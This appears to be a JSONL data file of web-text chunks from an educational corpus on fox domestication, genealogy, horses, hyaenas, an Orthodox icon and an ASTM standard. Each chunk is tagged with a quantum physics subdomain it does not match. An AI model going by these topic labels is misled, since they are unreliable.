change is that the cranial morphology of domesticated adult males became somewhat \"", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5365486467990024, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.363695"} {"text": "sexes, cranial height and width tended to be smaller, and snouts tended to be shorter and wider, than those of a control group of farmed foxes. another interesting change is that the cranial morphology of domesticated adult males became somewhat \" feminized. \" in farmed foxes, the crania of males tended to be larger in volume than those of females, and various other proportions differed sharply between the sexes. in the domesticated foxes the sexual dimorphism decreased. the differences in volume remained, but in other respects the skulls of males became more like those of females. analysis of cranial allometry showed that the changes in skull proportions result either from changes in the timing of the first appearance of particular structures or from changes in their growth rates. because we studied the skulls only of adult foxes, however, we cannot judge whether any of these changes are pedomorphic, as morey believes they are in dogs. the most significant changes in developmental timing in our foxes may be the smallest ones : those that have to do with reproduction. in the wild, foxes reach sexual maturity when they are about 8 months old. they are strict seasonal breeders, mating once a year in response to changes in the length of the day ( in siberia the mating season runs from late january to late march ) and giving birth to litters ranging from one to thirteen pups, with an average of four or five. natural selection has hard - wired these traits into foxes with little or no genetic variation. fur farmers have tried for decades to breed foxes that would reproduce more often than annually, but all their attempts have failed. in our experimental fox population, however, some reproductive traits have changed in a correlated manner. the domesticated foxes reach sexual maturity about a month earlier than nondomesticated foxes do, and they give birth to litters that are, on average, one pup larger. the mating season has lengthened. some females breed out of season, in november \u2013 december or april \u2013 may, and a few of them have mated twice a year. only a very small number of our vixens have shown such unusual behavior, and in 40 years, no offspring of an extraseasonal mating has survived to adulthood. nevertheless, the striking fact is that, to our knowledge, out - of - season mating has never been previously observed in foxes experiencing a natural photoperiod. forty years into our unique lifelong experiment, we believe that dmitry belyaev would be pleased with its progress. by intense selective breeding, we", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5157006214168033, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.365065"} {"text": ", out - of - season mating has never been previously observed in foxes experiencing a natural photoperiod. forty years into our unique lifelong experiment, we believe that dmitry belyaev would be pleased with its progress. by intense selective breeding, we have compressed into a few decades an ancient process that originally unfolded over thousands of years. before our eyes, \" the beast \" has turned into \" beauty, \" as the aggressive behavior of our herd ' s wild progenitors entirely disappeared. we have watched new morphological traits emerge, a process previously known only from archaeological evidence. now we know that these changes can burst into a population early in domestication, triggered by the stresses of captivity, and that many of them result from changes in the timing of developmental processes. in some cases the changes in timing, such as earlier sexual maturity or retarded growth of somatic characters, resemble pedomorphosis. some long - standing puzzles remain. we believed at the start that foxes could be made to reproduce twice a year and all year round, like dogs. we would like to understand why this has turned out not to be quite so. we are also curious about how the vocal repertoire of foxes changes under domestication. some of the calls of our adult foxes resemble those of dogs and, like those of dogs, appear to be holdovers from puppyhood, but only further study will reveal the details. the biggest unanswered question is just how much further our selective - breeding experiment can go. the domestic fox is not a domestic dog, but we believe that it has the genetic potential to become more and more doglike. we can continue to increase that potential through further breeding, but the foxes will realize it fully only through close contact with human beings. over the years, other investigators and i have raised several fox pups in domestic conditions, either in the laboratory or at home as pets. they have shown themselves to be good - tempered creatures, as devoted as dogs but as independent as cats, capable of forming deep - rooted pair bonds with human beings \u2014 mutual bonds, as those of us who work with them know. if our experiment should continue, and if fox pups could be raised and trained the way dog puppies are now, there is no telling what sort of animal they might one day become. whether that will happen remains to be seen. for the first time in 40 years, the future of our domestication experiment is in doubt, jeopardized by the continuing crisis of the russian economy. in 1996 the population of", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5398506159760633, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.366438"} {"text": "one day become. whether that will happen remains to be seen. for the first time in 40 years, the future of our domestication experiment is in doubt, jeopardized by the continuing crisis of the russian economy. in 1996 the population of our breeding herd stood at 700. last year, with no funds to feed the foxes or to pay the salaries of our staff, we had to cut the number to 100. earlier we were able to cover most of our expenses by selling the pelts of the foxes culled from the breeding herd. now that source of revenue has all but dried up, leaving us increasingly dependent on outside funding at a time when shrinking budgets and changes in the grant - awarding system in russia are making long - term experiments such as ours harder and harder to sustain. like many other enterprises in our country, we are becoming more entrepreneurial. recently we have sold some of our foxes to scandinavian fur breeders, who have been pressured by animal - rights groups to develop animals that do not suffer stress in captivity. we also plan to market pups as house pets, a commercial venture that should lead to some interesting, if informal, experiments in its own right. many avenues of both applied and basic research remain for us to pursue, provided we save our unique fox population. this article is dedicated to the memory of dmitry k. belyaev. the research was supported by grants rbd000 and rbd300 from the international scientific funds, grants 93 - 04 - 06936 and 96 - 04 - 49972 from the russian fund of fundamental research, and grant 1757 of the russian university fund. the author expresses her gratitude to anna fadeeva for translation of the manuscript from russian into english. she is also grateful to irina plysnina for help during preparation of the manuscript and to yekaterina omelchenko for technical assistance. - belyaev, d. k. 1969. domestication of animals. science journal ( u. k. ) 5 : 47 \u2013 52. - belyaev, d. k. 1979. destabilizing selection as a factor in domestication. the journal of heredity 70 : 301 \u2013 308. - belyaev, d. k., a. o. ruvinsky and l. n. trut. 1981. inherited activation - inactivation of the star gene in foxes. the journal of heredity 72 : 264 \u2013 274. - belyaev, d. k., and l. n. trut. 1982. accelerating", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.54313779441419, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.367358"} {"text": "trut. 1981. inherited activation - inactivation of the star gene in foxes. the journal of heredity 72 : 264 \u2013 274. - belyaev, d. k., and l. n. trut. 1982. accelerating evolution. science in the ussr 5 : 24 \u2013 29, 60? 64. - falconer, d. s. 1981. introduction to quantitative genetics. new york : longman. - logvinenko, n. s., p. m. krass, l. n. trut, l. n. ivanova and d. k. belyaev. 1979. genetics and phenogenetics of hormonal characteristics of animals. v. influence of domestication on ontogenesis of estrogen - and progesterone - secreting functions of ovaries and adrenals in silver fox females. genetica 15 : 320 \u2013 326 ( in russian ). - morey, d. f. 1994. the early evolution of the domestic dog. american scientist 82 : 336 \u2013 347. - raff, r. a., and t. c. kaufman. 1983. embryos, genes and evolution. new york : macmillan publishing company. - scott, j. p., and j. l. fuller. 1965. genetics and the social behavior of the dog. chicago : university of chicago press. - trut, l. n. 1988. the variable rates of evolution transformations and their parallelism in terms of destabilizing selection. journal of animal breeding and genetics 105 : 81 \u2013 90. - trut, l. n. 1996. sex ratio in silver foxes : effects of domestication and the star gene. theoretical and applied genetics 92 : 109 \u2013 115. - wayne, r. k. 1993. molecular evolution of the dog family. trends in genetics 9 : 218 \u2013 224. [ crossref ] - zeuner, f. t. 1954. domestication of animals. in a history of technology, volume i, ed. c. singer, e. j. holmyard, a. r. hall and t. i. williams. oxford : oxford university press.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5099043513642081, "token_count": 445, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.368242"} {"text": "the world has always been full of diseases. with the world becoming a global village, competition between different people, races and countries have also increased. the fast paced life and the hardcore competition has been taking a toll on human lives and minds. people are catching various types of diseases easily. the modern studies in the field of medicine has also attributed to the discovery of various diseases which till now remained a mystery for the human race. modern researches have led to the discovery of a wide number of diseases which were unheard of in the last century. the information about the various diseases are also reaching people faster. along with the discovery of diseases, the various processes of treating those diseases have also developed drastically. scientists and doctors have been working effortlessly to come out with treatment procedures and medicines for those diseases which remained untreated earlier. a large number of people used to die to diseases as there were no treatment methods for them. however, nowadays such incidences have decreased massively. previously cholera and tuberculosis were dreaded diseases which remained untreated in most of the cases. today they are just like any other diseases and are easily curable. surgical as well as medicinal procedures have improved by leaps and bounds. nowadays, most of the diseases of the world are treatable. modern means of curing those diseases and making the procedures less painful are some of the fine steps which have been augmented in the field. people are now less scared of various diseases as they know that there are fine means of treating and curing those diseases. the drastic developments in the field of medical science have decreased the mortality rate across the world and people are now living for a much longer time than the previous era. would you agree?", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4989937073599996, "token_count": 340, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.371520"} {"text": "morgan county, alabama from ancestry. com wiki | this article is a stub. help us to expand it by contributing your knowledge. for county page guidelines, visit u. s. county page content suggestions. | morgan is a county in alabama. it was formed in 1818 from the following county / ies : ( as cotaco ; renamed, 1821 ) cherokee cession. morgan began keeping birth records in 1983, marriage records in 1821, and death records in 1893. it began keeping land records in 1818, probate records in 1818, and court records in?. for more information, contact the county at 302 lee street ne / po box 848 decatur 35602. on the attached map, morgan is located at a4. for information about the state of alabama see alabama family history research. | counties of alabama autauga, baldwin, barbour, bibb, blount, bullock, butler, calhoun, chambers, cherokee, chilton, choctaw, clarke, clay, cleburne, coffee, colbert, conecuh, coosa, covington, crenshaw, cullman, dale, dallas, dekalb, elmore, escambia, etowah, fayette, franklin, geneva, greene, hale, henry, houston, jackson, jefferson, lamar, lauderdale, lawrence, lee, limestone, lowndes, macon, madison, marengo, marion, marshall, mobile, monroe, montgomery, morgan, perry, pickens, pike, randolph, russell, st. clair, shelby, sumter, talladega, tallapoosa, tuscaloosa, walker, washington, wilcox, winston", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.3787532989052743, "token_count": 342, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.373084"} {"text": "mateljan family history mateljan surname history there is a mateljan family story that the mateljan family originated in holland but moved into croatia about 1300 years ago. from croatia, branches of the family moved to the united states and australia. this mateljan research page contains the accumulated history of the mateljan last name made up of user - contributed content from other ancientfaces users. the mateljan family is an old family line that has spread all across the world over time, and as the mateljan family has migrated it has changed, making it ' s history challenging to uncover. according to one mateljan family story, the mateljan crest originated in holland. around 1300 years ago, the family migrated to croatia and hundreds of years later, one branch went to america ( after world war ii ) and one branch went to australia ( see \" fun facts \" below for information on the australian branch. ) mateljan country of origin no content has been submitted about the mateljan country of origin. the following is speculative information about mateljan. you can submit your information by clicking edit. the nationality of mateljan may be very difficult to determine because country boundaries change over time, leaving the original nationality a mystery. the original ethnicity of mateljan may be difficult to determine based on whether the surname originated organically and independently in multiple locales ; e. g. in the case of names that are based on a professional trade, which can crop up in multiple countries independently ( such as the name \" brewster \" which refers to a female brewer ). meaning of the last name mateljan no content has been submitted about the meaning of mateljan. the following is speculative information about mateljan. you can submit your information by clicking edit. the meaning of mateljan come may come from a trade, such as the name \" dean \" which may have been adopted by members of the clergy. some of these trade - based last names might be a profession in a different language. because of this it is essential to know the nationality of a name, and the languages used by its early ancestors. many modern names like mateljan come from religious texts such as the quran, the bhagavadgita, the bible, and so forth. often these surnames relate to a religious sentiment such as \" worthy of praise \". - george mateljan 1888 - 1978 - elizabeth mateljan 1914 - 2003 - dan z mateljan 1935 - 2004 - m l mate", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.3977088357029879, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.378056"} {"text": "and so forth. often these surnames relate to a religious sentiment such as \" worthy of praise \". - george mateljan 1888 - 1978 - elizabeth mateljan 1914 - 2003 - dan z mateljan 1935 - 2004 - m l mateljan 1935 - 1989 - charles james mateljan 1937 - 2006 - frank mateljan 1910 - 1982 - steve mateljan 1891 - 1973 - joseph mateljan 1928 - 2005 - lucy mateljan 1892 - 1979 - william a mateljan 1921 - 1988 - stephanie mateljan 1908 - 1996 - caroline mateljan 1913 - 1974 - nicholas mateljan 1895 - 1968 - joseph mateljan 1909 - 1961 - john mateljan 1908 - 1978 - bartholome v mateljan 1918 - 1994 - mary a mateljan 1915 - 2000 - mike mateljan 1907 - 1964 - jennie mateljan 1914 - 1994 - bernard mateljan 1914 - 1990 mateljan family tree famous people named mateljan no famous people named mateljan have been submitted. you can submit your information by clicking edit. nationality and ethnicity of mateljan no content has been submitted about the ethnicity of mateljan. the following is speculative information about mateljan. you can submit your information by clicking edit. we do not have a record of the primary ethnicity of the name mateljan. many surnames travel around the world throughout the ages, making their original nationality and ethnicity difficult to trace. more about the name mateljan fun facts about the mateljan family - if your grandfather was tony mateljan ( son of ante ) who was born in grohote on the island of sholta on the dalmation coast of croatia, contact me as you are step - family. tony had 3 wives and his 3rd wife was my grandmother jozitsa. tony fathered 2 other children - beppie ( rip ) and terry ( rip ). email me firstname. lastname @ example. org mateljan spelling variations no content has been submitted about alternate spellings of mateljan. the following is speculative information about mateljan. you can submit your information by clicking edit. understanding misspellings and alternate spellings of the mateljan family name are important to understanding the etymology of the name. in early history when few people could write, names such as mateljan were written down based on how they were heard by a scribe when people ' s names were recorded in court, church, and government records. this could have given", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.44245525522419105, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.379774"} {"text": "a tale of stage loot april 1993 issue lost treasure one of the most robbed areas of colorado was around colorado springs during the 1850s - 1860s. at least twenty - five robberies of stagecoaches took place during this period. this is a short story of $ 20, 000 in gold which was buried by 2 outlaws of this time period. in 1862, colorado springs was known as colorado city. manny preston, sy samuels and six other outlaws rode into the village on an august afternoon an hour before the stage was to depart, then rode north out of town and set up an ambush. after the shotgun guard was killed, the driver wounded, and the strongbox taken, the gang rode on north the outlaws thought they had plenty of time. that was a mistake. a patrol of volunteer cavalry came upon the stage a few minutes after the robbery. they overtook the outlaws and after two hours of fighting, six were killed. preston and samuels escaped with the gold they found an abandoned prospector ' s shack in the timber later that night. on a flat stone they carved manny preston ' s name and the date, 1862, and placed it at the head of a grave so it would look like the real thing and go untouched. the gold was put inside the grave. this site was on the left side of kiowa creek, about three miles south of what is now elbert county. preston and samuels made their way to kansas and obtained work in wichita. samuels died from injuries recieved in a runaway team accident. in 1868, preston returned to colorado to get the gold but he could not find the mock grave or cabin. after telling his story to a local rancher preston left. an interested treasure hunter should check out the area along the left side of kiowa creek, three miles south of elbert, for any evidence of a miner ' s cabin. somewhere nearby is a cache of gold. early records of stage companies in colorado springs could help on this site.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.37754686638478585, "token_count": 399, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.382978"} {"text": "more about... the sorraia is nearly extinct. a few herds are maintained in a half dozen places in spain and a few in germany. the sorraia horse has no history as a domestic breed, but old documents show that these horses were brought to the americas by the spanish conquistadors. the sorraia coloring is always dun or grullo with a dark muzzle area, black dorsal stripe, black - tipped ears, usually zebra stripes on the legs, and occasionally a stripe across the shoulders, neck and back. the black mane and tail are fringed by lighter - colored hair. sorraia foals are born with a zebra - like pattern all over. sorraia blood in the americas is evident, as several breeds in both north and south america bear the dun and grullo coloration and other physical characteristics of this ancient horse. the sorraia generally stands at about14 hands high. domesticated sorraias have been broken to ride and used for herding livestock. the sorraia is noted for its ability to withstand extremes of climate, particularly dry, hot climates, and to survive on very little forage while at the same time maintaining its health. the sorraia is too long - legged to be seriously considered a pony type. their head is somewhat long, with an outcurved profile. the ears are long, the eyes are set high. the neck is long and slim, the withers are prominent and noticeably well defined ; the back is of medium length and straight ; the croup is sloping, but not steeply dropping. the legs are straight with rather long, round cannon bones, well defined tendons, long, sloped pasterns, and hard hooves of dark color. the sorraia is found portrayed faithfully in prehistoric cave art, displaying the classic iberian convex profile, also found in the old - time north african barb. when the portuguese scientist, ruy d \u2019 andrade, discovered these horses in 1920 in the lowlands of the portuguese river sorraia, few could believe that a wild horse subspecies could have survived that long in europe. scientist ruy d \u2019 andrade tried in vain to relocate the herd, but found horses of the same phenotype in several places in the general area of the sorraia river. as a zoologist and paleontologist, he finally decided he had stumbled on an ancestral type of horse, and that it needed to be preserved. he acquired seven mares that possessed the characteristics he", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.43799856467638065, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.388549"} {"text": "the general area of the sorraia river. as a zoologist and paleontologist, he finally decided he had stumbled on an ancestral type of horse, and that it needed to be preserved. he acquired seven mares that possessed the characteristics he considered typical according to his studies, and left them to fend for themselves on his property, which fortunately was large enough for such a project. he tried four different stallions on them. his theory was that living wild, without the help of man, in their own habitat, would result in mother nature ' s purifying the small population, and bringing out and consolidating their original characteristics and abilities. why is the sorraia threatened to become extinct? a population that numbers around 200 is extremely threatened by any biologist ' s standard. at least half of these are non - breeding animals - older horses, stallions that aren ' t being used as studs, or youngsters. the population in portugal is divided basically into a few groups : four d ' andrade family members ( grandchildren of the late ruy d ' andrade ), each has a band of sorraias ; the portuguese national stud ; and a few private breeders with just one or two mares. all these horses stem from d ' andrade \u2019 s herd. none of these breeders seem to invest a lot in the preservation of the horses. the horse - related public is slowly becoming aware of the sorraia. in germany, there are a small number of parties now that own breeding stock, including a zoological garden with a small breeding group. some feel the sorraia ' s chance for survival lies in promoting them as mounts and carriage horses. this entails risks, however, as it could become counterproductive in the long run. people who are using them in the way other horses are being used will inevitably change them in type and disposition, while mother nature selects strictly, and differently. a wild horse doesn ' t have to be pretty, it doesn ' t have to be cooperative, and it doesn ' t have to possess a comfortable. all it needs to be able to do is survive : find food, recognize and avoid potential danger, withstand heat, cold, and bad weather. it needs to have qualities different from what humans perceive as desirable in a horse. wild horses are admired for their soundness and surefootedness. whenever man intervenes and starts breeding for his goals, the soundness and other qualities which enable wild horses to survive tend to disappear. in an ideal situation", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43968199618462833, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.389860"} {"text": "icon of the mother of god \u201c chukhloma \u201d the chukhloma icon of the mother of god of galich appeared in 1350 to st. abraham of galich, who came from the north to live an ascetic life with the blessing of st. sergius of radonezh. on the shores of galich lake which was hidden in a dense forest, he turned with prayer to the mother of god, asking her blessing. after finishing his prayers, he sat down to rest, but suddenly a bright light appeared on a nearby mountain and a voice said, \u201c abraham, come up the mountain, where there is an icon of my mother. \u201d the monk went up the mountain where the light shone, and indeed found an icon of the mother of god with the infant on a tree. with tenderness and in gratitude to god, he took the icon and, strengthened by prayers to the most holy theotokos, built a chapel there in which he placed the icon. galich prince demetrius feodorovich learned about st. abraham \u2019 s trip, and asked him to bring the icon to him. st. abraham journeyed across galich lake in a boat and, accompanied by clergy and a throng of people, took the wonderworking icon to the cathedral church in the city of galich. a large number of sick were healed by this icon. when st. abraham told prince demetrius about the appearance of the icon, the prince gave st. abraham money to build a monastery. soon, a church was built in honor of the dormition of the most holy theotokos, around which a monastery grew. st. abraham founded several more monasteries, the last being the chukhloma, not far from the city of chukhloma. from the name of this monastery, the wonderworking icon became known as the chukhloma icon of galich. the icon is also commemorated on may 28, july 4, and august 15. by permission of the orthodox church in america ( www. oca. org )", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4083045257383188, "token_count": 416, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.392545"} {"text": "overview of content related to ' xml ' this page provides an overview of 1 article related to ' sql '. note that filters may be applied to display a sub - set of articles in this category ( see faqs on filtering for usage tips ). select this link to remove all filters. sql often referred to as structured query language, is a database computer language designed for managing data in relational database management systems ( rdbms ), and originally based upon relational algebra and calculus. its scope includes data insert, query, update and delete, schema creation and modification, and data access control. sql was one of the first commercial languages for edgar f. codd ' s relational model, as described in his influential 1970 paper, \" a relational model of data for large shared data banks \". despite not adhering to the relational model as described by codd, it became the most widely used database language. ( excerpt from wikipedia article : sql ) see our ' sql ' overview for more data and comparisons with other tags. for visualisations of metadata related to timelines, bands of recency, top authors, and and overall distribution of authors using this term, see our ' sql ' usage charts. ariadne contributors most frequently referring to ' sql ' :", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5636681219760336, "token_count": 256, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.394570"} {"text": "friday 24 may striped hyaena ( hyaena hyaena ) what \u2019 s the world \u2019 s favourite species? find out here. striped hyaena fact file - find out more - print factsheet striped hyaena description like other hyaenas, the striped hyaena is dog - like in appearance, with powerful forequarters and a back that slopes down towards the tail. it gets its name from the black stripes on the sides of the pale grey or beige coat ( 2 ) ( 3 ), which is long and shaggy except for on the face and limbs ( 2 ). a crest of particularly long hair, running from the head to the tail, is erected in situations of conflict to make the hyaena look larger and more intimidating ( 2 ) ( 4 ). the striped hyaena has a long, thick neck, which along with the strong skull and jaw bones enables the hyaena to break up dry bones ( 2 ). the black and white tail is long and bushy and the feet bear short, blunt claws ( 3 ). - also known as - striped hyena. - hyene rayee. top iucn hyaena specialist group : mohamed bin zayed species conservation fund - the flesh of a dead animal. - the state of being pregnant ; the period from conception to birth. - feeding on both plants and animals. - an area occupied and defended by an animal, a pair of animals or a colony. iucn red list ( june, 2009 ) - kingdon, j. ( 1997 ) the kingdon field guide to african mammals. academic press ltd, london. - mills, m. g. l. and hofer, h. ( 1998 ) hyaenas. status survey and conservation action plan. iucn / ssc hyaena specialist group, iucn, gland, switzerland and cambridge, uk. - mills, m. g. m. and bearder, s. k. ( 2006 ) hyena family. in : macdonald, d. w. ( ed ) the encyclopedia of mammals. oxford university press, oxford. - wagner, a. p. ( 2008 ) pers. comm. - stuart, c. and stuart, t. ( 1997 ) field guide to the larger mammals of africa. struik publishers, cape town. - leakey, l. n., milledge, s. a. h., leakey, s. m., edung, j., haynes, p.,", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4657111522890857, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.408524"} {"text": "mammals of africa. struik publishers, cape town. - leakey, l. n., milledge, s. a. h., leakey, s. m., edung, j., haynes, p., kiptoo, d. k. and mcgeorge, a. ( 1999 ) diet of striped hyaena in northern kenya. african journal of ecology, 37 ( 3 ) : 314 - 326. unep - wcmc : ranthambore national park ( december, 2007 ) unep - wcmc : serengeti national park ( december, 2007 ) - view the contents of, and material on, the website ; - download and retain copies of the material on their personal systems in digital form in low resolution for their own personal use ; - teachers, lecturers and students may incorporate the material in their educational material ( including, but not limited to, their lesson plans, presentations, worksheets and projects ) in hard copy and digital format for use within a registered educational establishment, provided that the integrity of the material is maintained and that copyright ownership and authorship is appropriately acknowledged by the end user. striped hyaena biology the striped hyaena is a well - studied animal ; however, what is understood about the behaviour and ecology of the striped hyaena is largely limited to studies undertaken in kenya, tanzania and israel. there are anecdotal reports that elsewhere, such as east of israel, their ecology could be substantially different ( 5 ). the striped hyaena is most frequently seen singly or in pairs, although groups of up to seven can occur ( 3 ). social contact is limited by the need to forage alone over very large ranges, which they do so under the cover of night ( 2 ) ( 6 ). when moving around regularly used paths within their territory, grass stalks are marked with a secretion from the anal pouch ( 2 ) ( 4 ), leaving a clear sign to any intruders of the owner \u2019 s presence ( 4 ). if neighbouring hyaenas do happen to meet, they fluff out their fur and erect their crest in an attempt to look intimidating and fights may erupt in which they nip at each others thick necks ( 2 ). the striped hyaena is omnivorous and will feed opportunistically on almost anything it comes across as it roams great distances at night ( 2 ) ( 6 ). this includes seeds, leaves, fruits, insects, birds, fish, and many species", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4378059965263698, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.410222"} {"text": "and striped hyaenas in places where carnivores are thought to be responsible for child disappearances. even when not deliberately persecuted, striped hyaenas are often poisoned by bait laid out for other carnivores, captured in traps set by fur trappers for other species, and killed in traffic accidents ( 3 ). the once very abundant striped hyaena has now declined over most of its range and is extinct in many localities ( 2 ) ( 3 ) ; a result of not only those threats listed above, but also caused by a decline in carrion due to decreasing populations of other large carnivores ( such as wolves, leopards and tigers ) and their prey ( 3 ). top striped hyaena conservation the striped hyaena occurs in several protected areas throughout its range including ranthambore national park in india ( 8 ), and serengeti national park in tanzania, a world heritage site ( 9 ). in 1998, the hyaena specialist group published a conservation action plan which outlines actions required to improve the conservation status of all hyaena species ( 3 ). the actions detailed for the striped hyaena include campaigning for increased protection of the species throughout its range, and undertaking further studies of its behaviour, ecology and biology. it is also recognised that one of the most important, and possibly difficult, challenges, is to alter people \u2019 s negative perception of hyaenas. before the striped hyaena and its relatives are viewed in a more positive light, it will be difficult to improve the status of these fascinating animals ( 3 ). top find out more for further information on the striped hyaena see : to find out more about striped hyaena conservation projects, see : authenticated ( 30 / 01 / 08 ) by dr aaron p. wagner, department of zoology, michigan state university. more \u00bb related species play the team wild game myarkive offers the scrapbook feature to signed - up members, allowing you to organize your favourite arkive images and videos and share them with friends. terms and conditions of use of materials copyright in this website and materials contained on this website ( material ) belongs to wildscreen or its licensors. visitors to this website ( end users ) are entitled to : end users shall not copy or otherwise extract, alter or manipulate material other than as permitted in these terms and conditions of use of materials. additional use of flagged material green flagged material certain material on this website ( licence 4 material ) displays a green flag next to the material and", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.37316669194854585, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.414277"} {"text": "otherwise extract, alter or manipulate material other than as permitted in these terms and conditions of use of materials. additional use of flagged material green flagged material certain material on this website ( licence 4 material ) displays a green flag next to the material and is available for not - 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profit purposes is not permitted.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4696832670394936, "token_count": 366, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.415446"} {"text": "significance and use when evaluating the particle size information, if the procedures of the data processing are not available, the user of the data must make assumptions concerning the reported data in the event of analytical inconsistencies. in order for different data sets to be compared it is crucial that the parties report the analytical techniques and methods or procedures for evaluating, calculating, compiling or otherwise processing the data to be reported. particle size characterization information can be reported in three levels of detail in order to satisfy user ' s needs. level 1 applies when only basic information about the material is required, and shall be provided with each shipment. this level represents the minimum information that shall be reported. level 1 information may be sufficient in such cases as identifying a certain grade of a material or when detailed knowledge of analytical methodology is not needed. level 2 presumes the need for knowledge of methodology on the user ' s part and allows the user to make a more informed judgment about the information provided in level 1. level 3 provides detailed written procedures to allow duplication of the measurement. information provided through levels 2 and 3 will allow users to perform comparative material evaluations between several suppliers, set specifications or define a purchase agreement, perform inter - laboratory studies and most importantly resolve disputes between supplier and users. reported particle size measurement is a function of both the actual particle dimension and shape factor as well as the particular physical or chemical properties of the particle being measured. caution is required when comparing data from instruments operating on different physical or chemical parameters or with different particle size measurement ranges. sample acquisition, handling and preparation can also affect the reported particle size results. 1. 1 this practice covers reporting particle size measurement data. 1. 2 this practice applies to particle size measurement methods, devices, detail levels, and data formats for dry powders, and wet suspensions of solids, gels, or emulsion droplets. this practice does not pertain to liquid particles. note 1 \u2014 for information on reporting liquid particle measurement data, refer to practice e 799. 1. 3 this practice does not concern particle concentration information. 1. 4 this practice uses si ( systeme international ) units as standard. state all numerical values in terms of si units unless specific instrumentation software reports particle size information, including percentiles, indices, and distributions as tabulations and graphs using alternate units. in this case, present both reported and equivalent si units in the final written report. refer to practice e 380 for proper usage of si units. 1. 5 this standard does not purport to address all of", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.511784226692602, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.419421"} {"text": "##s and graphs using alternate units. in this case, present both reported and equivalent si units in the final written report. refer to practice e 380 for proper usage of si units. 1. 5 this standard does not purport to address all of the safety concerns, if any, associated with its use. it is the responsibility of the user of this standard to establish appropriate safety and health practices and determine the applicability of regulatory limitations prior to use. 2. referenced documents ( purchase separately ) the documents listed below are referenced within the subject standard but are not provided as part of the standard. e177 practice for use of the terms precision and bias in astm test methods e456 terminology relating to quality and statistics e691 practice for conducting an interlaboratory study to determine the precision of a test method e799 practice for determining data criteria and processing for liquid drop size analysis particle characterization ; particle size ; particle size analysis ; particle size characterization ; particle size distribution ; and particle size report, comparison techniques ; particle analysis ; particle characterization ; particle size characterization ; particle size distribution ; ics number code 19. 120 ( particle size analysis. sieving ) astm international is a member of crossref. citing astm standards [ back to top ]", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5096653963290818, "token_count": 260, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:14.422672"} {"text": "copyright \u00a9 2009 audubon nature institute p. o. box 4327 new orleans, la 70178 ( 504 ) 861 - 2537 firstname. lastname @ example. org malayan sun bear the smallest of the bear species, sun bears have impressive claws and short, sleek fur. a long, thin tongue assists in harvesting honey from bee hives \u2013 a favorite sun bear activity, along with climbing. the 